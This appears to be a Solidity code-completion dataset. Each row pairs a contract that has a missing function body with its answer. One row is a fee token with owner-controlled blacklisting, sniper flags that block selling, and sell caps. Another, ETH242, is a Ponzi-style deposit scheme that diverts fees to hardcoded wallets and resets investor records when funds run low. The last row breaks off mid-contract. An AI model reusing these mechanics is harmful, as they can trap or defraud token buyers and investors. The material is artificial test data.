function _setAutomatedMarketMakerPair(address pair, bool value) private {
require(automatedMarketMakerPairs[pair] != value, "Token: Automated market maker pair is already set to that value");
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function blacklistAddress(address account, bool blacklisted) public onlyOwner {
_isBlacklisted[account] = blacklisted;
}
function withdrawRemainingToken(address erc20, address account) public onlyOwner {
uint256 balance = IERC20(erc20).balanceOf(address(this));
IERC20(erc20).transfer(account, balance);
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlacklisted[to] && !_isBlacklisted[from], "Your address or recipient address is blacklisted");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
bool didSwap;
if( canSwap &&
!swapping &&
!automatedMarketMakerPairs[from] &&
from != owner() &&
to != owner()
) {
swapping = true;
uint256 marketingTokens = contractTokenBalance.mul(marketingFee).div(totalFees);
swapAndSendToMarketingWallet(marketingTokens);
emit swapTokenForMarketing(marketingTokens, marketingFeeWallet);
uint256 swapTokens = contractTokenBalance.mul(liquidityFee).div(totalFees);
swapAndLiquify(swapTokens);
emit swapTokenForLiquify(swapTokens);
swapping = false;
didSwap = true;
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if(takeFee) {
if(automatedMarketMakerPairs[from]){
require(isLaunced, "Token isn't launched yet");
require(
amount <= maxBuyTransactionAmount,
"Transfer amount exceeds the maxTxAmount."
);
require(
balanceOf(to) + amount <= maxWalletToken,
"Exceeds maximum wallet token amount."
);
bool dedBlock = block.timestamp <= launchedAt;
if (dedBlock && !_isSniper[to])
isSniper.push(to);
if(deadBlock && !_isSniper[to])
isSniper.push(to);
if(buyingPriceOn == true){
_account[to].priceBought = calculateBuyingPrice(to, amount);
}
emit DEXBuy(amount, to);
}else if(automatedMarketMakerPairs[to]){
require(!_isSniper[from], "You are sniper");
require(amount <= maxSellTransactionAmount, "Sell transfer amount exceeds the maxSellTransactionAmount.");
if(IndividualSellLimitOn == true && _account[from].sellLimitLiftedUp == false){
uint256 bal = balanceOf(from);
if(bal > 2){
require(amount <= bal.div(2));
_account[from].amountSold += amount;
if(_account[from].amountSold >= bal.div(3)){
_account[from].sellLimitLiftedUp = true;
}
}
}
if(balanceOf(from).sub(amount) == 0){
_account[from].priceBought = 0;
}
emit DEXSell(amount, from);
}else if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]){
if(buyingPriceOn == true){
_account[to].priceBought = calculateBuyingPrice(to, amount);
}
if(balanceOf(from).sub(amount) == 0){
_account[from].priceBought = 0;
}
emit TokensTransfer(from, to, amount);
}
uint256 fees = amount.mul(totalFees).div(100);
if(automatedMarketMakerPairs[to]){
fees += amount.mul(1).div(100);
}
uint256 profitFeeTokens;
if(profitBaseFeeOn == true && !_isExcludedFromFees[from] && automatedMarketMakerPairs[to]){
uint256 p;
if(didSwap == true){
p = contractTokenBalance > percentEquivalent ? contractTokenBalance.div(percentEquivalent) : 1;
}
profitFeeTokens = calculateProfitFee(_account[from].priceBought, amount, p);
profitFeeTokens = profitFeeTokens > fees ? profitFeeTokens - fees : 0;
}
amount = amount.sub(fees + profitFeeTokens);
super._transfer(from, address(this), fees + profitFeeTokens);
}
super._transfer(from, to, amount);
}
function getCurrentPrice() public view returns (uint256 currentPrice) {//This value serves as a reference to calculate profit only.
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
uint256 tokens;
uint256 ETH;
(tokens, ETH,) = pair.getReserves();
if(ETH > tokens){
uint256 _tokens = tokens;
tokens = ETH;
ETH = _tokens;
}
if(ETH == 0){
currentPrice = 0;
}else if((ETH * 100000000000000) > tokens){
currentPrice = (ETH * 100000000000000).div(tokens);
}else{
currentPrice = 0;
}
}
function calculateProfitFee(uint256 priceBought, uint256 amountSelling, uint256 percentageReduction) private view returns (uint256 feeTokens){
uint256 currentPrice = getCurrentPrice();
uint256 feePercentage;
if(priceBought == 0 || amountSelling < 100){
feeTokens = 0;
}
else if(priceBought + 10 < currentPrice){
uint256 h = 100;
feePercentage = h.div((currentPrice.div((currentPrice - priceBought).div(2))));
if(maxFee > percentageReduction){
feePercentage = feePercentage >= maxFee - percentageReduction ? maxFee - percentageReduction : feePercentage;
feeTokens = feePercentage > 0 ? amountSelling.mul(feePercentage).div(h) : 0;
}else{
feeTokens = 0;
}
}else{
feeTokens = 0;
}
}
function calculateBuyingPrice(address buyer, uint256 amountBuying) private view returns (uint256 price){
uint256 currentPrice = getCurrentPrice();
uint256 p1 = _account[buyer].priceBought;
uint256 buyerBalance = balanceOf(buyer);
if(p1 == 0 || buyerBalance == 0){
price = currentPrice;
}else if(amountBuying == 0){
price = p1;
}else{
price = ((p1 * buyerBalance) + (currentPrice * amountBuying)).div(buyerBalance + amountBuying);
}
}
function swapAndSendToMarketingWallet(uint256 tokens) private {
swapTokensForEth(tokens);
payable(marketingFeeWallet).transfer(address(this).balance);
}
function swapAndLiquify(uint256 tokens) private {
// split the contract balance into halves
uint256 half = tokens.div(2);
uint256 otherHalf = tokens.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(liquidityReceiver),
block.timestamp
);
}
event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludeMultipleAccountsFromFees(address[] accounts, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
struct Account{uint256 lastBuy;uint256 lastSell;uint256 priceBought;uint256 amountSold;bool sellLimitLiftedUp;}
event SwapAndLiquify(uint256 tokensSwapped,uint256 ethReceived,uint256 tokensIntoLiqudity);
event UpdateFees(uint256 newliquidityfees, uint256 newMarketingFees, uint256 newTotalFees);
event swapTokenForLiquify(uint256 amount);
event swapTokenForMarketing(uint256 amount, address sendToWallet);
event DEXBuy(uint256 tokensAmount, address buyers);
event DEXSell(uint256 tokensAmount, address sellers);
event TokensTransfer(address sender, address recipient, uint256 amount);
} |
maxBuyTransactionAmount = ((supply.div(100)).mul(maxBuyPercent)) * 10**9;
maxSellTransactionAmount = ((supply.div(100)).mul(maxSellPercent)) * 10**9;
maxWalletToken = ((supply.div(100)).mul(maxWalletPercent)) * 10**9;
percentEquivalent = (supply.div(100)) * 10**9;
liquidityFee = liqFee;
marketingFee = marketFee;
totalFees = liqFee.add(marketFee);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(uniswapV2RouterAddress);
// Create a uniswap pair for this new token
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
_setAutomatedMarketMakerPair(_uniswapV2Pair, true);
liquidityReceiver = liqudityWallet;
marketingFeeWallet = marketingWallet;
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(liquidityReceiver, true);
excludeFromFees(marketingWallet, true);
_mint(owner(), supply * (10**9));
| constructor(uint256 liqFee, uint256 marketFee, uint256 supply, uint256 maxBuyPercent, uint256 maxSellPercent, uint256 maxWalletPercent, address marketingWallet, address liqudityWallet, address uniswapV2RouterAddress) ERC20("ShinApe QOM", "SAQOM") | constructor(uint256 liqFee, uint256 marketFee, uint256 supply, uint256 maxBuyPercent, uint256 maxSellPercent, uint256 maxWalletPercent, address marketingWallet, address liqudityWallet, address uniswapV2RouterAddress) ERC20("ShinApe QOM", "SAQOM") |
61268 | MetaGodsMintPass | _verify | contract MetaGodsMintPass is ERC1155Supply, Ownable, PaymentSplitter {
bool public isPaused;
bool public isPublicSaleActive;
bool public isPresaleActive;
bool public isBoostedPresaleActive;
uint256 public maxPresaleMint = 2;
uint256 public perTxnLimit = 7;
uint256 public cost = 0.2 ether;
mapping(address => uint256) public presaleWhitelistMints;
uint256 private ps_redeemable = 200 ether;
uint256 private constant BOOSTED_PASS = 0;
uint256 private constant MAX_BOOSTED_SUPPLY = 4400;
uint256 private availableBoostedSupply = 4400;
uint256 private boostedReserveSupply = 100;
uint256 private constant NORMAL_PASS = 1;
uint256 private constant MAX_NORMAL_SUPPLY = 6711;
uint256 private availableNormalSupply = 500;
uint256 private normalReserveSupply = 500;
bytes32 normalRoot;
bytes32 boostedRoot;
string private name_;
string private symbol_;
constructor(
string memory _name,
string memory _symbol,
address[] memory payees,
uint256[] memory shares,
string memory _uri
) ERC1155(_uri) PaymentSplitter(payees, shares) {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string memory) {
return name_;
}
function symbol() public view returns (string memory) {
return symbol_;
}
//external
function mint(uint256 _mintAmount) external payable {
require(isPublicSaleActive, 'Sale not active');
uint256 totalSupply = totalSupply(NORMAL_PASS);
require(_mintAmount <= perTxnLimit, "Exceeds txn limit");
require(totalSupply + _mintAmount <= _publicNormalSupply(), "Exceeded remaining supply");
require(msg.value >= cost * _mintAmount);
_mint(_msgSender(), NORMAL_PASS, _mintAmount, "");
}
function mintPresale(uint256 mintAmount, bytes32[] calldata proof, bool boosted) external payable {
require(boosted ? isBoostedPresaleActive : isPresaleActive, "Presale not active");
require(_verify(_leaf(msg.sender), boosted ? boostedRoot : normalRoot, proof), "Not whitelisted");
require(msg.value >= cost * mintAmount, "Wrong amount");
require(maxPresaleMint > presaleWhitelistMints[msg.sender], "Too many mints");
uint256 availableMints = maxPresaleMint - presaleWhitelistMints[msg.sender];
require(mintAmount <= availableMints, "Too many mints");
uint256 pass = boosted ? BOOSTED_PASS : NORMAL_PASS;
uint256 currentSupply = totalSupply(pass);
uint256 publicSupply = boosted ? _publicBoostedSupply() : _publicNormalSupply();
require(currentSupply + mintAmount <= publicSupply, "Exceeded remaining supply");
presaleWhitelistMints[msg.sender] += mintAmount;
_mint(_msgSender(), pass, mintAmount, "");
}
function reserveNormal(address _to, uint256 _reserveAmount) external onlyOwner {
require(
_reserveAmount <= normalReserveSupply,
"Not enough reserve left"
);
_mint(_to, NORMAL_PASS, _reserveAmount, "");
normalReserveSupply -= _reserveAmount;
}
function reserveBoosted(address _to, uint256 _reserveAmount) external onlyOwner {
require(
_reserveAmount <= boostedReserveSupply,
"Not enough reserve left"
);
_mint(_to, BOOSTED_PASS, _reserveAmount, "");
boostedReserveSupply -= _reserveAmount;
}
function uri(uint256 _tokenId) public view virtual override returns (string memory) {
string memory baseUri = super.uri(_tokenId);
return bytes(baseUri).length > 0 ? string(abi.encodePacked(baseUri, Strings.toString(_tokenId), ".json")) : "";
}
//internal
function _leaf(address account) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(account));
}
function _verify(bytes32 _leafNode, bytes32 root, bytes32[] memory proof) internal pure returns (bool) {<FILL_FUNCTION_BODY> }
function _publicNormalSupply() internal view virtual returns (uint256) {
return availableNormalSupply - normalReserveSupply;
}
function _publicBoostedSupply() internal view virtual returns (uint256) {
return availableBoostedSupply - boostedReserveSupply;
}
//setters
function flipPauseState() external onlyOwner {
isPaused = !isPaused;
}
function flipPublicSaleState() external onlyOwner {
isPublicSaleActive = !isPublicSaleActive;
}
function flipNormalPresaleState() external onlyOwner {
isPresaleActive = !isPresaleActive;
}
function flipBoostedPresaleState() external onlyOwner {
isBoostedPresaleActive = !isBoostedPresaleActive;
}
function setPerTxnLimit(uint256 newPerTxnLimit) external onlyOwner {
perTxnLimit = newPerTxnLimit;
}
function setMaxPresaleMint(uint256 newMaxPresaleMint) external onlyOwner {
maxPresaleMint = newMaxPresaleMint;
}
function setTokenPrice(uint256 newCost) public onlyOwner {
cost = newCost;
}
function setAvailableBoostedSupply(uint256 newBoostedSupply) external onlyOwner {
require(newBoostedSupply <= MAX_BOOSTED_SUPPLY, "Exceeds max supply");
availableBoostedSupply = newBoostedSupply;
}
function setAvailableNormalSupply(uint256 newNormalSupply) external onlyOwner {
require(newNormalSupply <= MAX_NORMAL_SUPPLY, "Exceeds max supply");
availableNormalSupply = newNormalSupply;
}
function setNormalRoot(bytes32 newRoot) external onlyOwner {
normalRoot = newRoot;
}
function setBoostedRoot(bytes32 newRoot) external onlyOwner {
boostedRoot = newRoot;
}
function setUri(string memory newUri) external onlyOwner {
_setURI(newUri);
}
function withdraw(uint256 sum) external onlyOwner {
require(sum <= ps_redeemable, "Exceeds redeemable");
require(sum <= address(this).balance, "Exceeds balance");
ps_redeemable -= sum;
require(payable(msg.sender).send(sum));
}
function release(address payable account) public override {
require(msg.sender == account, "Not owner");
PaymentSplitter.release(account);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(!isPaused, "Token transfer paused");
}
} | contract MetaGodsMintPass is ERC1155Supply, Ownable, PaymentSplitter {
bool public isPaused;
bool public isPublicSaleActive;
bool public isPresaleActive;
bool public isBoostedPresaleActive;
uint256 public maxPresaleMint = 2;
uint256 public perTxnLimit = 7;
uint256 public cost = 0.2 ether;
mapping(address => uint256) public presaleWhitelistMints;
uint256 private ps_redeemable = 200 ether;
uint256 private constant BOOSTED_PASS = 0;
uint256 private constant MAX_BOOSTED_SUPPLY = 4400;
uint256 private availableBoostedSupply = 4400;
uint256 private boostedReserveSupply = 100;
uint256 private constant NORMAL_PASS = 1;
uint256 private constant MAX_NORMAL_SUPPLY = 6711;
uint256 private availableNormalSupply = 500;
uint256 private normalReserveSupply = 500;
bytes32 normalRoot;
bytes32 boostedRoot;
string private name_;
string private symbol_;
constructor(
string memory _name,
string memory _symbol,
address[] memory payees,
uint256[] memory shares,
string memory _uri
) ERC1155(_uri) PaymentSplitter(payees, shares) {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string memory) {
return name_;
}
function symbol() public view returns (string memory) {
return symbol_;
}
//external
function mint(uint256 _mintAmount) external payable {
require(isPublicSaleActive, 'Sale not active');
uint256 totalSupply = totalSupply(NORMAL_PASS);
require(_mintAmount <= perTxnLimit, "Exceeds txn limit");
require(totalSupply + _mintAmount <= _publicNormalSupply(), "Exceeded remaining supply");
require(msg.value >= cost * _mintAmount);
_mint(_msgSender(), NORMAL_PASS, _mintAmount, "");
}
function mintPresale(uint256 mintAmount, bytes32[] calldata proof, bool boosted) external payable {
require(boosted ? isBoostedPresaleActive : isPresaleActive, "Presale not active");
require(_verify(_leaf(msg.sender), boosted ? boostedRoot : normalRoot, proof), "Not whitelisted");
require(msg.value >= cost * mintAmount, "Wrong amount");
require(maxPresaleMint > presaleWhitelistMints[msg.sender], "Too many mints");
uint256 availableMints = maxPresaleMint - presaleWhitelistMints[msg.sender];
require(mintAmount <= availableMints, "Too many mints");
uint256 pass = boosted ? BOOSTED_PASS : NORMAL_PASS;
uint256 currentSupply = totalSupply(pass);
uint256 publicSupply = boosted ? _publicBoostedSupply() : _publicNormalSupply();
require(currentSupply + mintAmount <= publicSupply, "Exceeded remaining supply");
presaleWhitelistMints[msg.sender] += mintAmount;
_mint(_msgSender(), pass, mintAmount, "");
}
function reserveNormal(address _to, uint256 _reserveAmount) external onlyOwner {
require(
_reserveAmount <= normalReserveSupply,
"Not enough reserve left"
);
_mint(_to, NORMAL_PASS, _reserveAmount, "");
normalReserveSupply -= _reserveAmount;
}
function reserveBoosted(address _to, uint256 _reserveAmount) external onlyOwner {
require(
_reserveAmount <= boostedReserveSupply,
"Not enough reserve left"
);
_mint(_to, BOOSTED_PASS, _reserveAmount, "");
boostedReserveSupply -= _reserveAmount;
}
function uri(uint256 _tokenId) public view virtual override returns (string memory) {
string memory baseUri = super.uri(_tokenId);
return bytes(baseUri).length > 0 ? string(abi.encodePacked(baseUri, Strings.toString(_tokenId), ".json")) : "";
}
//internal
function _leaf(address account) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(account));
}
<FILL_FUNCTION>
function _publicNormalSupply() internal view virtual returns (uint256) {
return availableNormalSupply - normalReserveSupply;
}
function _publicBoostedSupply() internal view virtual returns (uint256) {
return availableBoostedSupply - boostedReserveSupply;
}
//setters
function flipPauseState() external onlyOwner {
isPaused = !isPaused;
}
function flipPublicSaleState() external onlyOwner {
isPublicSaleActive = !isPublicSaleActive;
}
function flipNormalPresaleState() external onlyOwner {
isPresaleActive = !isPresaleActive;
}
function flipBoostedPresaleState() external onlyOwner {
isBoostedPresaleActive = !isBoostedPresaleActive;
}
function setPerTxnLimit(uint256 newPerTxnLimit) external onlyOwner {
perTxnLimit = newPerTxnLimit;
}
function setMaxPresaleMint(uint256 newMaxPresaleMint) external onlyOwner {
maxPresaleMint = newMaxPresaleMint;
}
function setTokenPrice(uint256 newCost) public onlyOwner {
cost = newCost;
}
function setAvailableBoostedSupply(uint256 newBoostedSupply) external onlyOwner {
require(newBoostedSupply <= MAX_BOOSTED_SUPPLY, "Exceeds max supply");
availableBoostedSupply = newBoostedSupply;
}
function setAvailableNormalSupply(uint256 newNormalSupply) external onlyOwner {
require(newNormalSupply <= MAX_NORMAL_SUPPLY, "Exceeds max supply");
availableNormalSupply = newNormalSupply;
}
function setNormalRoot(bytes32 newRoot) external onlyOwner {
normalRoot = newRoot;
}
function setBoostedRoot(bytes32 newRoot) external onlyOwner {
boostedRoot = newRoot;
}
function setUri(string memory newUri) external onlyOwner {
_setURI(newUri);
}
function withdraw(uint256 sum) external onlyOwner {
require(sum <= ps_redeemable, "Exceeds redeemable");
require(sum <= address(this).balance, "Exceeds balance");
ps_redeemable -= sum;
require(payable(msg.sender).send(sum));
}
function release(address payable account) public override {
require(msg.sender == account, "Not owner");
PaymentSplitter.release(account);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual override {
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
require(!isPaused, "Token transfer paused");
}
} |
return MerkleProof.verify(proof, root, _leafNode);
| function _verify(bytes32 _leafNode, bytes32 root, bytes32[] memory proof) internal pure returns (bool) | function _verify(bytes32 _leafNode, bytes32 root, bytes32[] memory proof) internal pure returns (bool) |
79455 | ETH242 | invest | contract ETH242 {
using SafeMath for uint;
address public owner;
address admin;
address marketing;
uint waveStartUp;
uint nextPayDay;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referral, address indexed _referrer, uint _value);
event LogNewWave(uint _waveStartUp);
InvestorsStorage private x;
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(_source,0x14))
}
return parsedReferrer;
}
function toReferrer(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
_referrer.transfer(_value / 20);
emit LogReferralInvestment(msg.sender, _referrer, _value);
}
}
constructor() public {
owner = msg.sender;
admin = address(0xd38a013D7730564584C9aDBEeA83C1007E12E038);
marketing = address(0x81eCf0979668D3C6a812B404215B53310f14f451);
x = new InvestorsStorage();
}
function getInfo(address _address) external view returns(uint deposit, uint amountToWithdraw) {
deposit = x.d(_address);
amountToWithdraw = block.timestamp.sub(x.c(_address)).div(1 days).mul(x.d(_address).mul(x.getInterest(_address)).div(10000));
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
function invest() notOnPause public payable {<FILL_FUNCTION_BODY> }
function withdraw() notOnPause public {
if (address(this).balance < 100000000000000000) {
nextWave();
return;
}
uint _payout = block.timestamp.sub(x.c(msg.sender)).div(1 days).mul(x.d(msg.sender).mul(x.getInterest(msg.sender)).div(10000));
x.updateCheckpoint(msg.sender);
if (_payout > 0) {
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function nextWave() private {
x = new InvestorsStorage();
waveStartUp = block.timestamp + 7 days;
emit LogNewWave(waveStartUp);
}
} | contract ETH242 {
using SafeMath for uint;
address public owner;
address admin;
address marketing;
uint waveStartUp;
uint nextPayDay;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralInvestment(address indexed _referral, address indexed _referrer, uint _value);
event LogNewWave(uint _waveStartUp);
InvestorsStorage private x;
modifier notOnPause() {
require(waveStartUp <= block.timestamp);
_;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedReferrer) {
assembly {
parsedReferrer := mload(add(_source,0x14))
}
return parsedReferrer;
}
function toReferrer(uint _value) internal {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
_referrer.transfer(_value / 20);
emit LogReferralInvestment(msg.sender, _referrer, _value);
}
}
constructor() public {
owner = msg.sender;
admin = address(0xd38a013D7730564584C9aDBEeA83C1007E12E038);
marketing = address(0x81eCf0979668D3C6a812B404215B53310f14f451);
x = new InvestorsStorage();
}
function getInfo(address _address) external view returns(uint deposit, uint amountToWithdraw) {
deposit = x.d(_address);
amountToWithdraw = block.timestamp.sub(x.c(_address)).div(1 days).mul(x.d(_address).mul(x.getInterest(_address)).div(10000));
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest();
}
}
<FILL_FUNCTION>
function withdraw() notOnPause public {
if (address(this).balance < 100000000000000000) {
nextWave();
return;
}
uint _payout = block.timestamp.sub(x.c(msg.sender)).div(1 days).mul(x.d(msg.sender).mul(x.getInterest(msg.sender)).div(10000));
x.updateCheckpoint(msg.sender);
if (_payout > 0) {
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
}
function nextWave() private {
x = new InvestorsStorage();
waveStartUp = block.timestamp + 7 days;
emit LogNewWave(waveStartUp);
}
} |
admin.transfer(msg.value * 8 / 100);
marketing.transfer(msg.value * 5 / 100);
if (x.d(msg.sender) > 0) {
withdraw();
}
x.updateInfo(msg.sender, msg.value);
if (msg.data.length == 20) {
toReferrer(msg.value);
}
emit LogInvestment(msg.sender, msg.value);
| function invest() notOnPause public payable | function invest() notOnPause public payable |
49704 | BWETH | _deposit | contract BWETH is ERC20("BWETH Pool Token", "BWETH"), ReentrancyGuard {
uint public vaultNum;
AddressProvider ap = new AddressProvider();
constructor() public {
_createVault();
}
function deposit() external nonReentrant payable {
_deposit();
}
receive() external nonReentrant payable {
_deposit();
}
function withdraw(uint shares) external nonReentrant {
_withdraw(shares);
}
function getPoolBalance() public view returns (uint) {
return _getVaultBalance();
}
function calcPoolValueInToken() public view returns (uint) {
return _getVaultBalance();
}
function getPricePerFullShare() public view returns (uint) {
uint _pool = calcPoolValueInToken();
return _pool.mul(1e18).div(totalSupply());
}
//////////////////////////////////////////////////////////////////////
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function frob(
address manager,
uint cdp,
int dink,
int dart
) internal {
ManagerLike(manager).frob(cdp, dink, dart);
}
function flux(
address manager,
uint cdp,
address dst,
uint wad
) internal {
ManagerLike(manager).flux(cdp, dst, wad);
}
function _stringToBytes32(string memory source) internal pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
function _ethJoin_join(address apt, address urn) internal {
// Wraps ETH in WETH
GemJoinLike(apt).gem().deposit{value:msg.value}();
// Approves adapter to take the WETH amount
GemJoinLike(apt).gem().approve(address(apt), msg.value);
// Joins WETH collateral into the vat
GemJoinLike(apt).join(urn, msg.value);
}
function _vaultLockETH(
address manager,
address ethJoin,
uint cdp
) internal {
// Receives ETH amount, converts it to WETH and joins it into the vat
_ethJoin_join(ethJoin, address(this));
// Locks WETH amount into the CDP
VatLike(ManagerLike(manager).vat()).frob(
ManagerLike(manager).ilks(cdp),
ManagerLike(manager).urns(cdp),
address(this),
address(this),
toInt(msg.value),
0
);
}
function _vaultFreeETH(
address manager,
address ethJoin,
uint cdp,
uint wad
) internal {
// Unlocks WETH amount from the CDP
frob(manager, cdp, -toInt(wad), 0);
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), wad);
// Exits WETH amount to proxy address as a token
GemJoinLike(ethJoin).exit(address(this), wad);
// Converts WETH to ETH
GemJoinLike(ethJoin).gem().withdraw(wad);
// Sends ETH back to the user's wallet
msg.sender.transfer(wad);
}
function _createVault() internal {
bytes32 ilk = _stringToBytes32('ETH-A');
vaultNum = ManagerLike(ap.mcdManager()).open(ilk, address(this));
ManagerLike(ap.mcdManager()).cdpAllow(vaultNum, address(this), 1);
}
function _getVaultBalance() internal view returns (uint) {
address manager = ap.mcdManager();
address vat = ManagerLike(manager).vat();
address urn = ManagerLike(manager).urns(vaultNum);
bytes32 ilk = ManagerLike(manager).ilks(vaultNum);
(uint n_coll, ) = VatLike(vat).urns(ilk, urn);
return n_coll;
}
function _depositVaultCollEth() internal {
_vaultLockETH(ap.mcdManager(), ap.mcdEthJoin(), vaultNum);
}
function _withdrawVaultCollEth(uint amount) internal {
_vaultFreeETH(ap.mcdManager(), ap.mcdEthJoin(), vaultNum, amount);
}
function _deposit() internal {<FILL_FUNCTION_BODY> }
function _withdraw(uint shares) internal
{
require(shares > 0, "withdraw must be greater than 0");
uint ibalance = balanceOf(msg.sender);
require(shares <= ibalance, "insufficient balance");
// Could have over value from cTokens
uint pool = calcPoolValueInToken();
// Calc to redeem before updating balances
uint return_amount = (pool.mul(shares)).div(totalSupply());
_burn(msg.sender, shares);
_withdrawVaultCollEth(return_amount);
}
} | contract BWETH is ERC20("BWETH Pool Token", "BWETH"), ReentrancyGuard {
uint public vaultNum;
AddressProvider ap = new AddressProvider();
constructor() public {
_createVault();
}
function deposit() external nonReentrant payable {
_deposit();
}
receive() external nonReentrant payable {
_deposit();
}
function withdraw(uint shares) external nonReentrant {
_withdraw(shares);
}
function getPoolBalance() public view returns (uint) {
return _getVaultBalance();
}
function calcPoolValueInToken() public view returns (uint) {
return _getVaultBalance();
}
function getPricePerFullShare() public view returns (uint) {
uint _pool = calcPoolValueInToken();
return _pool.mul(1e18).div(totalSupply());
}
//////////////////////////////////////////////////////////////////////
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function frob(
address manager,
uint cdp,
int dink,
int dart
) internal {
ManagerLike(manager).frob(cdp, dink, dart);
}
function flux(
address manager,
uint cdp,
address dst,
uint wad
) internal {
ManagerLike(manager).flux(cdp, dst, wad);
}
function _stringToBytes32(string memory source) internal pure returns (bytes32 result) {
assembly {
result := mload(add(source, 32))
}
}
function _ethJoin_join(address apt, address urn) internal {
// Wraps ETH in WETH
GemJoinLike(apt).gem().deposit{value:msg.value}();
// Approves adapter to take the WETH amount
GemJoinLike(apt).gem().approve(address(apt), msg.value);
// Joins WETH collateral into the vat
GemJoinLike(apt).join(urn, msg.value);
}
function _vaultLockETH(
address manager,
address ethJoin,
uint cdp
) internal {
// Receives ETH amount, converts it to WETH and joins it into the vat
_ethJoin_join(ethJoin, address(this));
// Locks WETH amount into the CDP
VatLike(ManagerLike(manager).vat()).frob(
ManagerLike(manager).ilks(cdp),
ManagerLike(manager).urns(cdp),
address(this),
address(this),
toInt(msg.value),
0
);
}
function _vaultFreeETH(
address manager,
address ethJoin,
uint cdp,
uint wad
) internal {
// Unlocks WETH amount from the CDP
frob(manager, cdp, -toInt(wad), 0);
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), wad);
// Exits WETH amount to proxy address as a token
GemJoinLike(ethJoin).exit(address(this), wad);
// Converts WETH to ETH
GemJoinLike(ethJoin).gem().withdraw(wad);
// Sends ETH back to the user's wallet
msg.sender.transfer(wad);
}
function _createVault() internal {
bytes32 ilk = _stringToBytes32('ETH-A');
vaultNum = ManagerLike(ap.mcdManager()).open(ilk, address(this));
ManagerLike(ap.mcdManager()).cdpAllow(vaultNum, address(this), 1);
}
function _getVaultBalance() internal view returns (uint) {
address manager = ap.mcdManager();
address vat = ManagerLike(manager).vat();
address urn = ManagerLike(manager).urns(vaultNum);
bytes32 ilk = ManagerLike(manager).ilks(vaultNum);
(uint n_coll, ) = VatLike(vat).urns(ilk, urn);
return n_coll;
}
function _depositVaultCollEth() internal {
